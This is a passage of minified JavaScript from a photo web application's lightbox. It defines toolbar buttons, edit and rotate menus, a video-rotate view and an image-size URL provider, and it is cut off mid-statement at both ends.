p=f[k],p=qT(d,{Io:d.Io,Oe:p,ej:d.ej,ls:d.Dr&&p.JH,ms:p.FT&&p.Zk}),q=dh+V(p.MI)+qh+V(p.Oe.Zk)+Ab+(p.ej?p.Oe.JH?Uf+V(p.Io)+qh+V(p.Oe.ex)+eb+V(p.Oe.name)+tf:eh+V(p.Oe.name)+Of:p.Oe.$q?$f+V(p.Oe.$q)+Oa+V(p.Io)+qh+V(p.Oe.ex)+eb+V(p.Oe.name)+tf:eh+V(p.Oe.name)+Of)+(p.ls||p.ms?jc:c);p.ls&&(q+=Uf+V(p.Io)+ qh+V(p.Oe.ex)+jb);q+=p.ls&&p.ms?lc:c;p.ms&&(q+=Uf+V(p.MI)+qh+V(p.Oe.Zk)+kb);q+=(p.ls||p.ms?Dc:c)+Of;e+=q+(k!=g-1?Lc:c)}a.innerHTML=b+(Co+e);this.gx()}};x.gx=function(){this.kb.sizeToContent(jL);var a=hS(this.kb.b()).height>110+this.PS;a||(this.Jg=!1);a=a&&!this.Jg;this.el.ub(a);this.el.Wh(a?25:0);a=this.Jg;this.dl.ub(a);this.dl.Wh(a?25:0);this.Jg?(this.fc(1),this.kb.fc(1)):(this.sizeToContent(jL),this.kb.Wh(110));JP(this.kb.b(),sk,this.Jg);this.kb.CJ();this.dispatchEvent(new L(cm,this))}; x.so=function(){var a=[];if(!this.p)return a;var b=this.p.F().Fe();I(b,function(b){var e=b.bl()[0];if(e){var f=e.bf();if(f){var g=b.getStatus(),k=4==g,p=6==g,g=7==g,k=e.v()&&!k&&!p&&!g;this.p.fH(b)&&!g&&a.push({JH:k,FT:b.lw(),name:f,ex:e.v(),$q:e.Cc(),Zk:b.v()})}}},this);return a};x.isEmpty=function(){return 0==this.so().length};var T8=function(a){z1.call(this,new E1(a));this.fc(1);this.tc(-1);this.Ig=new A1(a);this.Ig.fc(1);this.Ig.xn(10);this.tf=new C1(a);this.tf.tc(1);this.tf.fc(1);this.tf.b().className=Zj;this.Xg=new P8(a);var b=xS(a),d=[this.Xg,this.tf];b.X(HJ)&&(this.kb=new S8(a),d.push(this.kb));b.X(wI)&&(this.sf=new R8(a),this.sf.tc(1),this.sf.fc(1),this.sf.ub(!1),d.push(this.sf));this.Tj=new C1(a);this.Tj.fc(1);this.Tj.xn(272);this.Tj.b().className=Yj;this.Tj.ji(d);this.Z.ji([this.Ig,this.Tj])};E(T8,z1);x=T8.prototype; x.ya=function(){T8.c.ya.call(this);var a=this.Z.b();M(a,Xj);this.Ig.b().className=ak;var a=this.q(),b=a.createElement(m);b.className=bk;a.appendChild(this.Ig.b(),b);this.Cg=new W5(this.Z.b())};x.R=function(){T8.c.R.call(this);this.L().j(this.Ig.b(),Rx,this.fT).j(this.Ig.b(),[qE,pE],this.eT).j(this.Cg,sE,this.Lw);this.kb&&this.L().j(this.kb,cm,this.gT)};x.A=function(){K(this.Cg);T8.c.A.call(this)};x.Lw=function(a){a.stopPropagation()};x.H7=function(a){this.tf.ji(a)};x.I7=function(){this.tf.clear()}; x.fT=function(){this.nh=!this.nh;this.Xg.ub(!this.nh);this.tf.ub(!this.nh);this.kb&&!this.kb.isEmpty()&&(this.kb.ub(!this.nh),this.tf.ub(!this.nh&&!this.kb.Jg));this.sf&&this.sf.ub(!this.nh);this.nh?this.Tj.xn(0):this.Tj.xn(272);this.KI();JP(this.Ig.b(),ck,this.nh)};x.gT=function(){this.tf.ub(!this.kb.Jg)};x.eT=function(a){JP(this.Ig.b(),dk,a.type==qE)};x.Ka=function(a){this.p=a;this.Xg.Ka(a);this.kb&&this.kb.Ka(a);this.sf&&(this.sf.Ka(a),this.KI())}; x.KI=function(){!this.nh&&this.sf&&(this.p&&this.p.F().Nw()?(this.tf.ub(!1),this.kb&&this.kb.ub(!1),this.Xg.ub(!1),this.Xg.Wh(0),this.sf.ub(!0)):(this.sf.ub(!1),this.Xg.ub(!0),this.Xg.sizeToContent(jL),this.Xg.Wh(hS(this.Xg.b()).height),this.tf.ub(!0),this.kb&&this.kb.gr()))};var U8=function(a){z1.call(this,new A1(a));this.nB=S0(R0(a).Zh());this.Rq=jC+(this.nB.D(dD)||Kz)+te};E(U8,z1);x=U8.prototype;x.C=function(){U8.c.C.call(this);this.q();this.Z.b().innerHTML=sg};x.R=function(){U8.c.R.call(this);this.L().Jq(this.Z.b(),i_,this.PT)};x.PT=function(a){IP(a.target,gk)&&this.ub(!1);a.stopPropagation()};x.cy=function(){var a;if(2==this.p.F().dx()){a=c;var b=tg+($f+V(this.Rq)+ib);a+=b}else a=c+ug;this.q().pb(hk,this.Z.b()).innerHTML=a}; x.Ka=function(a){this.p=a;var b=this.p.Xa();this.L().$(b,Vo,this.cy).j(b,Vo,this.cy);this.cy();this.ub(!!a.F().Nw())};x.ee=function(a,b,d){U8.c.ee.call(this,a,b,d);b=this.q().pb(fk,this.Z.b());d=hS(b);a=-d.width/2;d=-d.height/2;T(b,VD,a+rH);T(b,XD,d+rH);b=this.q().pb(gk,this.Z.b());hS(b);T(b,WD,a+15+rH);T(b,XD,d+15+rH)};var V8=function(){};E(V8,g0);ML(V8);x=V8.prototype;x.Ua=function(a){return V8.c.Ua.call(this,a&&a.firstChild)};x.Ra=function(a,b){var d=NP(document,Ic,vB,b)[0];if(d){U(d,!1);LP(d).body.appendChild(d);var e=new K_;e.Ra(d);a.Dy(e)}return V8.c.Ra.call(this,a,b)};x.Rl=function(a,b){return V8.c.Rl.call(this,[this.createCaption(a,b),this.T0(b)],b)};x.createCaption=function(a,b){return b.C(s,tB+(this.Y()+id),a)};x.T0=function(a){return a.C(s,tB+(this.Y()+wd),EL)};x.Y=function(){return wB};var W8=function(a,b,d,e,f){f0.call(this,a,d||V8.Ja(),e);this.nd(64,!0);this.os=new o_(null,5);b&&this.Dy(b);this.LW=null;this.Da=new NQ(500);!jU&&!kU||SN(df)||this.O5(!0);this.D0=f||J_.Ja()};E(W8,f0);x=W8.prototype;x.Cr=!1;x.eV=!1;x.R=function(){W8.c.R.call(this);this.gI(!0);this.ga&&this.Jr(this.ga,!0);WY(this.hy(),SB,!!this.ga)};x.oa=function(){W8.c.oa.call(this);this.gI(!1);if(this.ga){this.$b(!1);this.ga.oa();this.Jr(this.ga,!1);var a=this.ga.b();a&&aQ(a)}}; x.A=function(){W8.c.A.call(this);this.ga&&(this.ga.Q(),delete this.ga);delete this.DH;this.Da.Q()};x.ce=function(a){W8.c.ce.call(this,a);this.Ii()&&(this.$b(!this.gg(),a),this.ga&&this.ga.Cj(this.gg()))};x.Tg=function(a){W8.c.Tg.call(this,a);this.ga&&!this.Ii()&&this.ga.Cj(!1)};x.Fj=function(){this.setActive(!1);return!0};x.gW=function(a){this.ga&&this.ga.ra()&&!this.Di(a.target)&&this.$b(!1)};x.Di=function(a){return a&&fQ(this.b(),a)||this.ga&&this.ga.Di(a)||!1}; x.Me=function(a){if(32==a.keyCode){if(a.preventDefault(),a.type!=cD)return!0}else if(a.type!=$C)return!1;if(this.ga&&this.ga.ra()){var b=this.ga.Ie(a);return 27==a.keyCode?(this.$b(!1),!0):b}return 40==a.keyCode||38==a.keyCode||32==a.keyCode||13==a.keyCode?(this.$b(!0,a),!0):!1};x.b_=function(){this.$b(!1)};x.hW=function(){this.Ii()||this.$b(!1)};x.ie=function(a){this.Cr||this.$b(!1);W8.c.ie.call(this,a)};x.tl=function(){this.ga||this.Dy(new K_(this.q(),this.D0));return this.ga||null}; x.Dy=function(a){var b=this.ga;a!=b&&(b&&(this.$b(!1),this.wa()&&this.Jr(b,!1),delete this.ga),this.wa()&&WY(this.hy(),SB,!!a),a&&(this.ga=a,a.wn(this),a.setVisible(!1),a.Ar(this.Cr),this.wa()&&this.Jr(a,!0)));return b};x.TW=function(a){this.DH=a;this.Kx()};x.removeItem=function(a){(a=this.tl().removeChild(a,!0))&&a.Q()};x.TJ=function(){return this.ga?this.ga.ii():0};x.setVisible=function(a,b){var d=W8.c.setVisible.call(this,a,b);d&&!this.ra()&&this.$b(!1);return d}; x.Gb=function(a){W8.c.Gb.call(this,a);this.isEnabled()||this.$b(!1)};x.iX=function(){return this.os.mba&&!!(this.os.Gk&32)};x.O5=function(a){this.Cr=a};x.pN=function(){this.$b(!0)}; x.$b=function(a,b){W8.c.$b.call(this,a);if(this.ga&&this.he(64)==a){if(a)this.ga.wa()||(this.eV?this.ga.render(this.b().parentNode):this.ga.render()),this.tI=ZR(this.b()),this.rI=iS(this.b()),this.Kx(),this.ga.of(!b||40!=b.keyCode&&38!=b.keyCode?-1:0);else{this.setActive(!1);this.ga.Cj(!1);var d=this.b();d&&(WY(d,aw,c),WY(d,qG,c));null!=this.Nr&&(this.Nr=void 0,(d=this.ga.b())&&fS(d,c,c))}this.ga.setVisible(a,!1,b);this.Fd()||this.dV(a)}}; x.Kx=function(){if(this.ga.wa()){var a=this.DH||this.b(),b=this.os;this.os.element=a;a=this.ga.b();this.ga.ra()||(a.style.visibility=WB,U(a,!0));!this.Nr&&this.iX()&&(this.Nr=hS(a));b.qb(a,b.As^1,this.LW,this.Nr);this.ga.ra()||(U(a,!1),a.style.visibility=RK)}}; x.Er=function(){var a=iS(this.b()),b=ZR(this.b()),d;d=this.rI;(d=!(d==a||d&&a&&d.left==a.left&&d.width==a.width&&d.top==a.top&&d.height==a.height))||(d=this.tI,d=!(d==b||d&&b&&d.top==b.top&&d.right==b.right&&d.bottom==b.bottom&&d.left==b.left));d&&(this.rI=a,this.tI=b,this.Kx())};x.Jr=function(a,b){var d=this.L(),e=b?d.j:d.$;e.call(d,a,Yv,this.b_);e.call(d,a,YB,this.xw);e.call(d,a,nK,this.yw)};x.gI=function(a){var b=this.L();(a?b.j:b.$).call(b,this.b(),aD,this.xV)}; x.xw=function(a){var b=this.b();H(b,Ot);null!=a.target.b()&&(WY(b,aw,a.target.b().id),WY(b,qG,a.target.b().id))};x.xV=function(a){this.Pb(32)&&this.Ib()&&this.ga&&this.ga.ra()&&a.stopPropagation()};x.yw=function(){if(!this.ga.Ee()){var a=this.b();H(a,Ot);WY(a,aw,c);WY(a,qG,c)}};x.dV=function(a){var b=this.L(),d=a?b.j:b.$;d.call(b,this.q().aa,nE,this.gW,!0);this.Cr&&d.call(b,this.ga,Ww,this.hW);d.call(b,this.Da,CJ,this.Er);a?this.Da.start():this.Da.stop()};s_(wB,function(){return new W8(null)});var X8=function(){};E(X8,V8);ML(X8);x=X8.prototype;x.Ua=function(a){return a?NP(document,Ic,this.Y()+id,a)[0]:null};x.Ld=function(a){return a.tagName==m};x.Rl=function(a,b){var d=this.Y();return b.C(s,tB+(d+Rd),b.C(s,tB+(d+Gd),b.C(s,d+Td,b.C(s,d+de,EL),b.C(s,[d+nd,d+id,sB],a),b.C(s,[d+wd,sB]))))}; x.Sy=function(a,b){var d=a.q().pg(b),e=this.Y()+Rd;return d&&VT(d,e)&&(d=a.q().pg(d),e=this.Y()+Gd,d&&VT(d,e)&&(d=a.q().pg(d),e=this.Y()+Td,d&&VT(d,e)&&(d=a.q().pg(d),e=this.Y()+de,d&&VT(d,e)&&(d=a.q().pM(d),e=this.Y()+nd,d&&VT(d,e)))))?!0:!1};x.Y=function(){return rB};s_("goog-imageless-menu-button",function(){return new W8(null,null,X8.Ja())});var Y8=function(){return c+Bg};Y8.yb="apps.photos.lightbox.toolbar.closeButtonTemplate";var Z8=function(){return c+Dm};Z8.yb="apps.photos.lightbox.toolbar.editMenuButtonTemplate";var $8=function(){return c+Cg};$8.yb="apps.photos.lightbox.toolbar.editPhotoMenuButtonTemplate";var a9=function(a){a=a||{};var b=c,b=a.BS?b+Gq:b+Eh;return b+Dg};a9.yb="apps.photos.lightbox.toolbar.actionsMenuButtonTemplate";var b9=function(a,b,d,e){z1.call(this,new E1(a));this.B=b;this.tc(1);this.fc(-1);this.jx={};this.Ya=[];a=xS(a);this.Vq=a.X(Jy);this.JG=a.X(SJ);this.Hq=a.X(FG);this.bi=a.bi;this.uL=d||null;this.OT=e||null;this.r0=Bc;this.s0=Cc;this.PG=us};E(b9,z1);x=b9.prototype;x.A=function(){I(this.Ya,function(a){a.control.Q();a.control=null;a.DI=null});this.Ya=null;K(this.Gn);b9.c.A.call(this)};x.kd=function(a){return!this.uL||!!ZM(this.uL,function(b){return b==a})}; x.ya=function(){b9.c.ya.call(this);M(this.Z.b(),tk);this.bi?(M(this.Z.b(),sj),this.BV()):this.AV()}; x.BV=function(){this.kd(mz)?(this.bH(),this.Xq(!1)):this.kd(Mv)&&this.Xq(!0);if(this.kd(mI)&&this.B.qj()!=No){var a=this.Kq(C(this.B.cH,this.B),Os,mI,Ps,null,null,1);M(a.b(),Hk,tj);T(a.b(),WD,0);this.Ya.push(new c9(a,Ps,C(this.B.qj,this.B),y))}this.kd(NF)&&this.B.Pg()!=No&&(a=this.Kq(C(this.B.$G,this.B),this.Hq?xt:Hh,NF,ql),M(a.b(),Hk),this.Ya.push(new c9(a,ql,C(this.B.Pg,this.B),y)),this.JG&&this.L().j(a,Qz,C(this.B.Yq,this.B,!0)).j(a,nD,C(this.B.Yq,this.B,!1)));this.Zf=this.q().createElement(m); this.q().appendChild(this.Z.b(),this.Zf);M(this.Zf,Nj);M(this.Zf,Hk);M(this.Zf,sB);this.kd(rx)&&this.B.gl()!=No&&(a=this.Wf(C(this.B.cancel,this.B),fl,rx,rl),this.Ya.push(new c9(a,rl,C(this.B.gl,this.B),y)));this.kd(Xz)&&this.B.il()!=No&&(a=this.Wf(C(this.B.finish,this.B),Cn,Xz,tl),this.Ya.push(new c9(a,tl,C(this.B.il,this.B),y)));this.kd(Ox)&&(a=this.Wf(C(this.B.aH,this.B),pT(Y8,void 0,this.q().aa),Ox,sl),this.Ya.push(new c9(a,sl,C(this.B.Xk,this.B),y)))}; x.AV=function(){this.Zf=this.q().createElement(m);this.q().appendChild(this.Z.b(),this.Zf);M(this.Zf,Nj);M(this.Zf,vk);M(this.Zf,sB);if(this.kd(rx)&&this.B.gl()!=No){var a=this.Wf(C(this.B.cancel,this.B),fl,rx,rl);this.Ya.push(new c9(a,rl,C(this.B.gl,this.B),y))}this.kd(Xz)&&this.B.il()!=No&&(a=this.Wf(C(this.B.finish,this.B),Cn,Xz,tl),this.Ya.push(new c9(a,tl,C(this.B.il,this.B),y)));this.kd(NF)&&this.B.Pg()!=No&&(this.pn=this.hH(),U(this.pn,!1),a=this.Wf(C(this.B.$G,this.B),this.Hq?xt:Hh,NF,ql), M(a.b(),vk),this.Ya.push(new c9(a,ql,C(this.B.Pg,this.B),y)),this.JG&&this.L().j(a,Qz,C(this.B.Yq,this.B,!0)).j(a,nD,C(this.B.Yq,this.B,!1)),this.kd(mI)&&this.B.qj()!=No&&(this.nw=this.hH(),U(this.nw,!1)));this.kd(mI)&&this.B.qj()!=No&&(a=this.Wf(C(this.B.cH,this.B),Os,mI,Ps),M(a.b(),vk),this.Ya.push(new c9(a,Ps,C(this.B.qj,this.B),y)));this.kd(mz)?(this.Xq(!1),this.bH()):this.kd(Mv)&&this.Xq(!0);this.kd(Ox)&&(a=this.Wf(C(this.B.aH,this.B),pT(Y8,void 0,this.q().aa),Ox,sl),this.Ya.push(new c9(a,sl, C(this.B.Xk,this.B),y)))};x.hH=function(){var a=this.q().createElement(m);this.q().Wb(a,ga);M(a,Ik);M(a,vk);this.q().appendChild(this.Z.b(),a);return a};x.Wf=function(a,b,d,e,f,g){var k=this.q();b=f?new W8(b,f,X8.Ja(),k):new f0(b,i0.Ja(),k);e&&b.ze(e);this.AM(b,a,d,g);return b};x.Kq=function(a,b,d,e,f,g,k,p){b=this.bi(b,e?e:c,k,p,f);this.AM(b,a,d,g);return b}; x.AM=function(a,b,d,e){a.Bj(this);this.jx[String(VL(a))]=b;a.setVisible(!1);a.render(this.Z.b());a.b().setAttribute(qC,this.bc(d));e&&(M(e,wk),this.q().appendChild(a.b(),e),a.TW(e))};x.YG=function(){var a=this.q(),b=new K_(a);b.setVisible(!1);b.render(this.OT||this.Z.b());var d=b.b();M(d,uk);var e=a.createElement(m);M(e,yk);var f=a.createElement(m);M(f,xk);a.appendChild(d,e);a.appendChild(d,f);return b}; x.Xq=function(a){var b=this.YG();if(this.B.Iw()!=No){var d=this.Cd(qr,GG,C(this.B.CS,this.B));b.ta(d,!0);this.Ya.push(new c9(d,c,C(this.B.Iw,this.B),C(this.ES,this,d.getContent(),qr,Lu)))}this.B.Hw()!=No&&(d=this.Cd(gp,rG,C(this.B.GS,this.B)),b.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.Hw,this.B),y)));a&&this.zS(b);this.B.Fw()!=No&&(d=this.Cd(em,vy,C(this.B.ew,this.B)),b.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.Fw,this.B),C(this.DS,this,d.getContent(),em,fm))));this.B.Gw()!=No&&(d=this.Cd(tm,az, C(this.B.AS,this.B)),b.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.Gw,this.B),y)));this.B.Jw()!=No&&(a=this.Hq?ms:ns,d=this.Cd(a,AH,C(this.B.hw,this.B)),b.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.Jw,this.B),C(this.FS,this,d.getContent(),a,ns))));a=this.q();d=a.aa;a=a.createElement(ys);d=(this.bi?C(this.Kq,this):C(this.Wf,this))(C(this.B.Xk,this.B),pT(a9,{BS:this.Hq},d),Mv,c,b,a);M(d.b(),this.bi?vk:Hk);this.Ya.push(new c9(d,c,C(this.B.Xk,this.B),C(this.ZG,this,a)));this.L().j(b.b(),Rx,function(a){a.stopPropagation()})}; x.zS=function(a){if(this.B.vj()!=No){var b=this.Cd(ss,yH,C(this.B.pj,this.B,270));a.ta(b,!0);this.Ya.push(new c9(b,c,C(this.B.vj,this.B),y));b=this.Cd(ts,yH,C(this.B.pj,this.B,90));a.ta(b,!0);this.Ya.push(new c9(b,c,C(this.B.vj,this.B),y));b=this.Cd(this.PG,yH,C(this.B.kH,this.B));a.ta(b,!0);this.Ya.push(new c9(b,c,C(this.B.Dw,this.B),y))}this.B.br()!=No&&(b=this.Cd(Cm,tH,C(this.B.i1,this.B)),a.ta(b,!0),this.Ya.push(new c9(b,c,C(this.B.br,this.B),C(this.k1,this,b.getContent(),Cm,ni))))}; x.bH=function(){var a=this.YG(),b=this.q();if(this.B.vj()!=No){var d=this.Cd(ep,yH,C(this.B.pj,this.B,270),Dk);a.ta(d,!0);this.Ya.push(new c9(d,c,C(this.B.vj,this.B),y));d=this.Cd(rs,yH,C(this.B.pj,this.B,90),Ek);a.ta(d,!0);this.Ya.push(new c9(d,c,C(this.B.vj,this.B),y));d=this.Cd(this.PG,yH,C(this.B.kH,this.B),Ek);a.ta(d,!0);this.Ya.push(new c9(d,c,C(this.B.Dw,this.B),y))}this.B.br()!=No&&(d=this.Cd(hi,cw,C(this.B.LS,this.B),Bk),a.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.mH,this.B),C(this.OS,this, b.NS(d.getContent())))),d=this.Cd(Ll,Nx,C(this.B.MS,this.B),Ck),a.ta(d,!0),this.Ya.push(new c9(d,c,C(this.B.nH,this.B),y)));var d=b.aa,b=b.createElement(ys),e=this.bi?C(this.Kq,this):C(this.Wf,this),f=this.bi?$8:Z8,d=e(C(this.B.Xk,this.B),pT(f,void 0,d),mz,c,a,b);M(d.b(),this.bi?vk:Hk);this.Ya.push(new c9(d,c,C(this.B.Xk,this.B),C(this.ZG,this,b)));this.L().j(a.b(),Rx,function(a){a.stopPropagation()})}; x.Cd=function(a,b,d,e,f){var g=this.q(),k=g.createElement(m);M(k,zk);k.setAttribute(qC,this.bc(b));e&&(b=g.createElement(m),M(b,Ak),M(b,e),g.appendChild(k,b));g.appendChild(k,g.createTextNode(a));f?(a=g.createElement(ys),M(a,Gk),g.Wb(a,f)):(a=g.createElement(m),M(a,Fk));g.appendChild(k,a);f=new G_(k,void 0,g);this.jx[String(VL(f))]=d;return f};x.R=function(){b9.c.R.call(this);this.L().j(this,Yv,this.hj).j(this.B,vn,this.Zc).j(this.B,Cq,this.Zc);this.L().j(this.Z.b(),Rx,function(a){a.stopPropagation()})}; x.hj=function(a){var b=a.target;b&&(b=this.jx[String(VL(b))])&&b();a.stopPropagation()};x.Zc=function(){K(this.Gn);this.B.hM&&this.B.hM()==so?(this.Gn=this.B.f1(),this.Gn.render(this.Zf),this.B.Pg&&this.B.Pg()==so&&this.pn&&U(this.pn,!0)):this.pn&&U(this.pn,!1);this.nw&&this.B.Pg&&this.B.qj&&U(this.nw,this.B.Pg()==so&&this.B.qj()==so);I(this.Ya,function(a){var b=a.control,d=a.DI(),e=d==so;b.Gb(e);b.setVisible(d!=Pn);b.ze&&b.ze(e?a.e1:c);a.d1(a)})}; x.ZG=function(a,b){var d=b.control,e=d.isEnabled()&&0<d.TJ();if(e)for(var e=!1,f=d.tl().vY(),g=0,k=f.length;g<k&&!(e=f[g],e=e.ra()&&e.isEnabled());g++);f=e?-1*hS(d.tl().b()).height:0;T(a,XD,f+rH);d.Gb(e);d.setVisible(d.ra()&&e)};x.ES=function(a,b,d){this.q().Wb(a,this.B.$d()?d:b)};x.k1=function(a,b,d){this.q().Wb(a,this.B.zJ()?d:b)};x.OS=function(a){a.innerHTML=this.B.m4()?this.s0:this.r0};x.DS=function(a,b,d){this.q().Wb(a,this.B.$d()?d:b)}; x.FS=function(a,b,d){this.q().Wb(a,this.B.Hg()&&this.Vq?b:d)};var c9=function(a,b,d,e){this.control=a;this.e1=b;this.DI=d;this.d1=e},d9=function(){N.call(this);this.fb=new LQ(this)};E(d9,N);d9.prototype.L=function(){return this.fb};d9.prototype.A=function(){K(this.fb);d9.c.A.call(this)};d9.prototype.Xk=function(){return so};var e9=function(){return No};x=d9.prototype;x.Iw=e9;x.Hw=e9;x.Fw=e9;x.Gw=e9;x.Pg=e9;x.br=e9;x.mH=e9;x.nH=e9;x.Jw=e9;x.vj=e9;x.Dw=e9;x.gl=e9;x.il=e9;var f9=function(a,b,d,e){this.Zv=a;this.Qk=OO(b||0,0,Math.max(0,a.length-1));this.jS=null!=d?d:!0;this.Zc=e||null};var g9=new BQ("tacotown.photos.image.FifeImageProvider_");var h9=function(){this.NP=tQ()};x=h9.prototype;x.qg=function(a,b,d,e,f,g){b=this.cca(b,d,e,f,g);if(!b)return a;a=FR(a);return this.hca(a)?this.aca(a,b):this.$ba(a,b)};x.hca=function(a){return!a.getPath().match(/\/[^/]+\/[^/]+\/[^/]+/)};x.aca=function(a,b){var d=a.getPath();d.lastIndexOf(ph)>d.lastIndexOf(se)&&(d=d.substring(0,d.lastIndexOf(ph)));return a.setPath(d+ph+b).toString()}; x.$ba=function(a,b){var d=a.getPath().split(se);if(2>d.length)return a.toString();this.Eda(a.toString())?d[d.length-2]=b:jN(d,-1,0,b);return a.setPath(d.join(se)).toString()};x.Eda=function(a){return(new p2(a)).Fv()}; x.cca=function(a,b,d,e,f){d=d||{};if(d.d)return vy;if(d.g)return ZA;var g=a?a.dc():d.w;a=a?a.Rc():d.h;if(!(!a&&!g||2560<g||2560<a||b!=RG))return f&&(g=Math.ceil(g*this.NP),a=Math.ceil(a*this.NP)),b=[],g!=a||d.cc?(g&&b.push(TK+g),a&&b.push(OB+a)):b.push(mI+g),d.sc?b.push(rG):d.cc&&b.push(zE),d.rw&&b.push(kI),d.l&&b.push(dD+d.l),d.r&&b.push(yH+d.r),!e&&!d.o||d.no||b.push(TF),d.no&&b.push(EF),d.na&&b.push(XC),d.U&&b.push(fu),d.Ut&&b.push(Bu),d.bt&&b.push(Lw),b.join(Qc)};var i9=function(a){this.OF=c;this.Hv=!1;a&&this.Rba(a)};i9.prototype.Rba=function(a){this.OF=TM(a.split(qf),function(a){return a!=Pz}).join(qf);this.Hv=0<=a.indexOf(Pz)};i9.prototype.Pba=function(){return 0<this.OF.length};i9.prototype.u0=function(){this.Hv=!this.Hv};i9.prototype.yt=function(){var a=this.Pba()?qf:c;return this.OF+(this.Hv?a+Pz:c)};var j9=function(a){d9.call(this);this.pa=a;var b=xS(a);this.Og=a.get(fD);this.ib=a.get(IQ);this.zb=a.get(QB);this.yZ=b.X(GG);this.tZ=b.X(rG);this.dX=b.X(Cw);this.kX=b.X(gz);this.TY=b.X(cz);this.Zq=b.X(DG)&&b.X(cJ);this.Hy=b.X(sH)&&b.X(cJ);this.gX=b.X(AH);this.Ij=b.Ij;this.IV=b.X(my);this.cX=b.X(hI);this.Wx=b.X(jI);this.jX=b.X(WG);this.Ly=b.iia||null;b=a.Lg(g9);b||(b=new h9,a.Gc(g9,b));this.bZ=b};E(j9,d9);x=j9.prototype;x.sT=function(a){this.$a=a}; x.Ka=function(a){this.p=a;this.dispatchEvent(vn);a=this.L();a.Na();a.j(this.p.Xa(),[Ah,Vr],C(this.dispatchEvent,this,vn));a.j(this.p.Xa(),Cq,C(this.dispatchEvent,this,Cq))};x.Hg=function(){return!!this.p&&this.p.Hg()};x.Iw=function(){return this.yZ?this.p&&this.p.yl()?so:Pn:No};x.CS=function(){if(this.p)switch(this.zb.xe){case GK:this.zb.Qf(VK);break;case VK:case gL:this.zb.Qf(GK)}};x.Hw=function(){return this.tZ?this.p&&!this.p.yf()?so:Pn:No}; x.GS=function(){this.p&&this.p.F().getUrl()&&uS(this.p.F().getUrl(),{target:Ev})};x.Fw=function(){return this.kX?this.p&&this.p.F().$c()?so:Pn:No};x.ew=function(){this.p.ew();this.dispatchEvent(vn)};x.Gw=function(){return this.TY?this.p&&this.p.yl()&&!this.$d()&&(this.Hg()||this.p.qM)?so:Pn:No};x.AS=function(){var a={d:!0},b=this.p.Fg();b&&(a=this.bZ.qg(b,null,RG,a),uS(a))};x.Pg=function(){return this.dX?this.p&&this.p.F().Qq()&&!this.$d()&&!this.p.yf()?so:Pn:No};x.$G=function(){this.p&&this.p.dispatchEvent(qL)}; x.br=function(){return this.Hy?this.p&&this.p.F().$c()&&!this.$d()&&!this.p.yf()?so:Pn:No};x.i1=function(){this.p&&(this.zb.Qf(this.zJ()?VK:gL),this.dispatchEvent(vn))};x.mH=function(){return this.Hy?this.p&&this.p.F().$c()&&!this.$d()&&!this.p.yf()?so:Pn:No};x.LS=function(){if(this.p){var a=this.p.F().Ej(),a=new i9(a);a.u0();a=a.yt();this.p.sL(a,!0,C(function(){this.dispatchEvent(vn)},this))}};x.m4=function(){if(this.p){var a=this.p.F().Ej();return a?0<=a.indexOf(Pz):!1}return!1}; x.nH=function(){return this.Hy?this.p&&this.p.F().$c()&&!this.$d()&&!this.p.yf()?so:Pn:No};x.MS=function(){this.p&&this.p.dispatchEvent(wm)};x.hM=function(){return this.jX&&this.Ly?this.p&&this.p.yl()&&this.p.F().wJ()&&!this.p.yf()?so:Pn:No};x.f1=function(){return this.Ly?this.Gn=this.Ly(this.pa,this.p.F().XJ(),C(function(a){this.p.C_(a,y);this.dispatchEvent($p)},this)):null};x.aH=function(){this.dispatchEvent(xm)};x.zJ=function(){return this.zb.xe==gL};x.$d=function(){return!(!this.p||!this.p.F().zc())}; x.Jw=function(){if(this.gX){var a=this.Hg()?this.Zq:!0,b=this.p&&this.p.F().Ky(),d=this.p&&this.p.yf();return b&&a&&!d?so:Pn}return No};x.hw=function(){this.p&&this.p.dispatchEvent(ir)};x.qj=function(){return this.Ij?this.p&&this.p.W2()&&!this.$d()&&!this.p.yf()?so:Pn:No}; x.cH=function(){if(this.p&&this.Ij){var a=C(function(){this.ib.Mg();this.dispatchEvent(xm)},this);this.Ij(this.p.Sr(),this.p.Jo(),this.p.getContainer().v(),this.p.Fg(),this.p.hi().width,this.p.hi().height,this.p.getUrl(),this.p.getContainer().getContainer().getTitle(),this.p.getContainer().getContainer().oX(),!!this.p.F().Oy(),this.IV,this.ib,a,this.p.Zc||void 0)}};x.vj=function(){return this.cX?this.p&&this.p.F().$c()&&!this.$d()&&!this.p.yf()?so:Pn:No}; x.Dw=function(){if(!this.Wx)return No;if(!this.p||!this.p.F().$c()||!this.$d()||this.p.yf())return Pn;var a=this.p.F().zc(),b=!1;a&&(b=!!a.v(),a=a.getStatus(),b=b&&(a==G0.Mx||a==G0.Lx));return b?so:go};x.gl=function(){return No};x.il=function(){return No};x.pj=function(a){this.p&&(this.p.pj(a),this.dispatchEvent(vn))};x.kH=function(){if(this.p)switch(this.zb.xe){case kL:this.zb.Qf(VK);break;default:this.zb.Qf(kL)}};x.Yq=function(a){this.$a&&this.zb.xe==VK&&this.$a.dr(a,!0)};var k9=function(){return yg};k9.yb="apps.photos.lightbox.videoRotate.main";var l9=function(a){return Ug+V(a.url)+Ra+V(a.url)+Sa+V(a.url)+Qa};l9.yb="apps.photos.lightbox.videoRotate.images";var o9=function(a){OT.call(this,a);this.zb=a.get(QB);this.Oc=new m9(a,this);this.hr=new b9(this.Yg(),this.Oc,[rx,Xz])};E(o9,A1);x=o9.prototype;x.ya=function(){o9.c.ya.call(this);U(this.b(),!1);this.rf=new C1(this.getContext());this.rf.tc(-1);this.ta(this.rf);YS(this.rf.b(),k9);this.rf.ta(this.hr);M(this.rf.b(),sB);M(this.b(),Jk)};x.R=function(){o9.c.R.call(this);this.L().j(this.b(),Rx,this.ij)}; x.Ka=function(a){this.p=a;this.Oc.Ka(a);var b=this.q(),d=b.Fr(Kk,this.b());0==d.length?(d=AQ(Ok,this.b()),YS(d,l9,{url:a.Fg()}),d=b.Fr(Kk,this.b()),b=a.hi(),I(d,C(this.tV,this,b))):I(d,function(b){b.src=a.Fg()})};x.tV=function(a,b){var d=a.xm(new AP(200,200)).floor();IP(b,Nk)?this.vR(b,90,d):IP(b,Mk)?this.vR(b,270,d):(b.style.width=RR(d.width,!0),b.style.height=RR(d.height,!0))}; x.vR=function(a,b,d){a.style.width=RR(d.height,!0);a.style.height=RR(d.width,!0);d=d.Oo();var 